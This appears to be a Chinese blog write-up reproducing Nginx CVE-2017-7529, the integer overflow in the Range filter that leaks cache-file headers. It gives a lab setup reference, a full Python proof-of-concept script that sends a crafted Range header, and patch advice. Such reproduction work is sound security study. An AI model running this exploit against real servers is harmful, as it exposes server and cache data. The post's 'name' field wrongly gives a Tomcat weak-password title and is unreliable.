Nginx越界读取缓存漏洞(CVE-2017-7529)

Nginx越界读取缓存漏洞(CVE-2017-7529) - FreeBuf网络安全行业门户

1、介绍

名称:tomcat后台弱口令war包上传部署

编号:CVE-2017-7529

原理:HTTP的range头可以指定start和end的值,然后返回请求文件指定大小的内容。对于一般文件而言,range域无论怎样设置都不会有什么问题,但是对于缓存文件而言,它还包含了额外的头部信息(服务端信息),因此如果start值被设置为负值时就有可能读取到缓存文件的头部。

应用:nginx

版本:0.5.6 - 1.13.2

2、测试

2.1 靶场搭建

2.2 poc

Vulhub - Docker-Compose file for vulnerability environment

Nginx range 过滤器整形溢出漏洞 (CVE–2017–7529)预警分析 - 360CERT

(1)poc.py

#poc源码

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://192.168.0.15:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
#偏移值,以HTTP返回包体处为起点(相当于0)
offset = 605 
url = sys.argv[1]
#获取HTTP返回包体的长度
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
#网上他人的源码分析来看需要将Range设置为:Range: bytes=-X,-Y;X的值可设的比HTTP返回包体长度大一些,且要小于Y的值
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
print(r.text)

(2)执行

3、漏洞修复

升级Nginx,打补丁

关闭Nginx代理缓存

posted @ 2023-07-29 05:22  挖洞404  阅读(519)  评论(0编辑  收藏  举报